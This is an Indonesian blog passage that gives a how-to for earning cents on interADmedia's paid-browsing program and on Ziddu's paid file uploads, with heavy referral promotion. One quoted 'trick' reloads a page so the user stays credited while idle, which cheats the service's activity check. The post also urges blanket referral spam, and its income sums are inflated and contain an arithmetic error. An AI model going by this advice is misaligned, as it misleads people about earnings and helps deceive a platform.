Hanya saja pada saat perhitungan waktu sudah mencapai 5 menit maka akan muncul peringatan apakah anda ingin lanjut atau stop. Bunyinya seperti ini “You have not been active in the last few minutes. Click here to stay active or after 30 seconds you will be logged out” klik tulisan tersebut (1) utk tetap lanjut browsing. Atau kalau mau berhenti klik “Stop browsing and logout” (2)Jika anda tidak sempat mengklik apa-apa maka secara otomatis akan stop sendiri dan anda hanya mendapatkan 5-6 menit pembayaran. Tapi jangan khawatir, anda boleh mulai lagi dengan cara yg sama di atas. Klik lagi tombol “Get Paid to Browse” untuk menjalankan perhitungan waktunya kembali.

Setiap kali stop maka secara otomatis akan muncul laporan jumlah total waktu yang terhitung serta total komisi yang sudah anda kumpulkan seperti pada gambar berikut.

Nah, itu saja yang perlu anda lakukan. Setiap kali anda buka internet, jangan lupa untuk pertama kali langsung buka dan login di member area interADmedia anda dan lakukan hal-hal di atas agar waktu online anda tetap produktif alias menghasilkan.

“Untuk lebih memaksimalkan penghasilan anda saya akan berikan Trik Khusus supaya setiap 5 menit berikutnya tidak terjadi auto_logOf, kan capek kalo tiap 5menit harus bolak-balik klik agrement and ngulang dari Nol….!!!Trik-ini udah saya praktekan lho…Caranya: Pada jendela browsing anda di link blanknya yang biasanya untuk menuliskan alamat link (http://interadmedia.com/advertise.php) <– itu anda klik trus Enter aja tapi setelah keluar penghitung detik saat sudah 5 menit.“tp ingat penghitung detiknya jgn sampai lebih dr 30dt, kalau bisa di detik2 awal aja”, Setelah itu anda bisa Browsing yg lain: entah itu facebook,chat…,ikut PTC,NgeBlog or aktivitas lainnya, atau ditinggalin jg gpp..makin lama makin cpt PayOutnya hehehe…^_^, yg pnting Online… Ok,….“

Withdraw Penghasilan Anda

Anda bisa meminta komisi anda (withdraw) ke rekening PayPal anda apabila anda telah mengumpulkan komisi minimal $25. Caranya : Klik menu “Payout Management” lalu pilih “Withdraw Fund” lalu pilih jumlah yang ingin anda withdraw dan klik tombol “Cash out”.

Sesederhana itu aja kerjanya. Anda akan dibayar $0.001 per menit browsing atau $0.06 per jam. Kalo sehari 10 jam online maka berarti anda dapat $0.6 dan ini berarti sebulan dapat $18. Lumayan kan buat bayar tagihan internet anda per bulan. Ini kalo kerja sendiri lho, kalo anda referensikan dan ajak orang lain maka anda akan mendapatkan 10% dari jumlah komisi referral anda tanpa mengurangi komisi yg didapat oleh referral anda tsb.

Kalau dihitung-hitung, komisi $0.001 memang sangat kecil karena kalau dirupiahkan hanya berkisar Rp.10,- atau sekitar Rp.600 per jam. Mungkin anda berpikir bahwa ini hanyalah pekerjaan sia-sia, dan lebih besar pengeluaran (biaya akses internet) dibanding penghasilan yang diperoleh. Anda benar, tetapi jika anda tahu “efek penggandaan” maka anda akan senang menjalankan “pekerjaan iseng-iseng” ini.

Apa yang dimaksud Efek Penggandaan? Ya, anda jangan bekerja sendiri… tetapi ajak teman-teman atau siapa saja untuk menjadi referral anda. Karena anda akan mendapatkan komisi tambahan 10% dari jumlah yang mereka hasilkan tanpa mengurangi penghasilan mereka. Illustrasi penghasilan yang bisa anda peroleh seandainya anda berhasil mengajak 100 orang referral adalah sbb :

Misalnya masing-masing orang hanya mampu browsing 3 jam (180 menit) setiap hari :

Penghasilan harian anda : $0.001 x 180 menit = $0.18

Penghasilan bulanan anda (mis. 25 hari saja) : $0.12 x 25 hari = $4.5

Penghasilan harian referral anda : $0.001 x 180 menit x 100 orang = $18 (Komisi anda 10% = $1.8)

Penghasilan bulanan referral anda : $18 x 25 hari = $450 (Komisi anda 10% = $45)

Total penghasilan anda = $4.5 + $45 = $49.5 atau sekitar Rp.500.000,-/bulan

Hasilnya lumayan kan? Ya, minimal buat bayar biaya akses internet agar bisa sepuasnya internetan di rumah Saya sendiri menggunakan akses IM2 Broom Unlimited dengan biaya Rp.100.000,- per bulan dan bisa digunakan unlimited 24 jam sehari setiap bulan. Dengan akses unlimited 24 jam ini maka saya bisa jalankan program ini secara sampingan aja 5 – 10 jam per hari sambil tetap menjalankan bisnis utama saya.

Perhitungan di atas adalah contoh kalau setiap orang hanya online 3 jam lebih per hari. Pada kenyataannya banyak orang yang online lebih lama dari itu (seperti saya bisa sampai 10 jam per hari), juga bagi mereka yang bekerja kantoran dan mendapatkan fasilitas internet gratis dari kantor.

Perhitungan di atas juga kita capai bila jumlah referral kita hanya 100 orang saja. Bagaimana bila 1000 atau 1 juta orang ? Apakah itu mungkin ? Semuanya kembali pada diri kita sendiri. Ingat, kita bisa mencari referral dari pengguna internet di seluruh dunia yang jumlahnya milyaran orang. Di Indonesia saja jumlah pengguna internet sudah mencapai 35 juta orang.

Nah, untuk mereferensikan program ini ke teman-teman anda, silahkan cari link referral anda dengan mengklik menu “Referrals” yang ada di sebelah kanan. Format link referral anda seperti yang saya punya berikut ini :

http://interadmedia.com/index.php?ref=22042

Promosikan link referral anda tersebut melalui email, iklan-baris , milis, sms, iklan ppc , dan apa saja agar ada yang join dan menjalankan program ini seperti anda.

Semoga bermanfaat,

Dapat Duit Receh dengan Upload File

2010-02-13T09:00:00.000-08:00

Dapat Duit Receh dengan Upload file pernah dengar kan? Kalau belum pernah dengar, syukurlah. Berarti anda juga sama seperti saya, masih pemula dalam urusan cari duit di internet. :r . Saya mau berbagi tutorial bagaimana mendapat duit dari bisnis upload file ini :$

Bisnis upload file atau istilahnya Paid Upload adalah Cara cari duit receh di internet dengan meng upload file file kita umpama file mp3, data, video dll ke situs yang menyediakan layanan upload dan sharing file. Dapet duitnya kalau ada orang lain yang nge download file yang kita upload tersebut. Berapa bayarannya ? Kecil, namanya juga duit receh. Rata-rata anda akan mendapatkan $ 0,001 untuk setiap Unique download (dari satu alamat IP untuk satu kali download). Duitnya akan di transfer melalui PayPal atau Moneybookers setelah mencapai $ 10. Jadi jangan berharap cepat kaya dari bisnis ini, Biar penghasilannya banyak, harus punya blog yang sudah terkenal, atau anda dapat menyebarkan link-link download anda kepada teman-teman anda. Kalau teman anda banyak, hasilnya juga lumayan, tentunya kalau teman anda mau nge download file yang anda tawarkan tersebut. Kalau dikalikan, 10000 Download Unik baru dapat $10. He,,he,, Lama kaya nya. Tapi apa salahnya ikutan, kan gratisan. Hitung-hitung tempat nyimpan file di internet.

Banyak situs yang menyediakan layanan upload dan sharing files yang membayar kita, Seperti Ziddu. Seringkan download file lewat Ziddu ? Ternyata setiap kita download file, orang yang punya file tersebut dapet duit receh. Baru Tahu? Sama.

Sudah siap mendaftar ? Gratis tanpa di pungut biaya. Kalau begitu langsung menuju ke TKP. Ikuti langkah-langkanya ya.

Klik di Sini Untuk Registrasi. Anda akan di bawa ke halaman registrasi seperti gambar di bawah. Silahkan isi data-data anda.

Nama : Nama Anda

Email : Alamat Email anda
Password : Buat Password anda Yang baru untuk log in di Ziddu
Confirm Password : Ulangi sekali lagi password anda sama dengan yang pertama
Verification Code : Isi sesuai dengan kode yang ada di sebelah kanannya.

Lalu jangan lupa untuk menconteng kotak kecil "I Agree Terms and Conditions"

Bila registrasi berhasil, akan tampil halaman seperti di bawah dengan tulisan "thanks you.....dst". Bila tidak tampil, silahkan keluar dulu dan log in kembali.

Keterangan Singkat dari gambar di bawah.

My Profile : halaman profil

My file : halaman File-file yang telah anda upload
My Earning : halaman Pendapatan duit receh anda

Setting metode pembayaran dengan meng klik "Payment setting" akan tampil halaman seperti berikut.

Ada dua metode pembayaran di Ziddu untuk saat ini, yaitu Paypal dan Money Bookers. Untuk tutorial Paypal silahkan lihat di sini. Kalau belum ada account paypal, ga masalah, nanti di lain waktu bisa di isi kalau anda sudah mendaftar dan memiliki account paypal.

Upload file pertama anda dengan meng klik "Upload folder" pada bagian kanan atas.

Klik "browse" pilih file yang akan di upload dari komputer anda.

Proses Upload akan berjalan seperti gambar di atas. Jika sukses meng upload file, akan tampil gambar seperti di bawah ini dengan alamat Download link file anda. Alamat download link inilah yang harus anda pasang pada blog atau kirimkan lewat email ke teman anda.

Jika teman atau orang lain tersebut mengakses alamat link tersebut, maka akan tampil halaman download seperti berikut.

Coba saja tes, suruh teman anda untuk mendownload file yang telah anda upload melalui link download tersebut dengan komputer yang lain. Trus cek halaman "Earning" Anda, pasti anda sudah mendapatkan $ 0,001. Dengan catatan, file download tersebut sukses di download oleh teman anda.

Untuk menambah pendapatan, jangan hanya mengandalkan hasil dari file yang di download saja. Cara lain untuk mendapatkan duit receh dari Ziddu ini adalah dengan mengajak teman atau mengajak orang lain bergabung di ziddu (referral). Setiap orang yang gabung di ziddu melalui link referral anda, anda akan di bayar oleh ziddu sebesar $0.1 setelah dia aktif dan mengupload file pertamanya.

Caranya ? Silahkan klik 'Referral Banners" pada panel sebelah kiri. Akan tampak gambar seperti di bawah. Catat kode dan link anda, gunakan link ini untuk mengajak teman atau orang lain tersebut. Atau bila anda sudah punya blog, pasang saja bannernya, dengan mengcopy kode banner dan menambahkannya ke halaman blog anda.

Jangan Diam aja dunk, langsung Ke TKP :D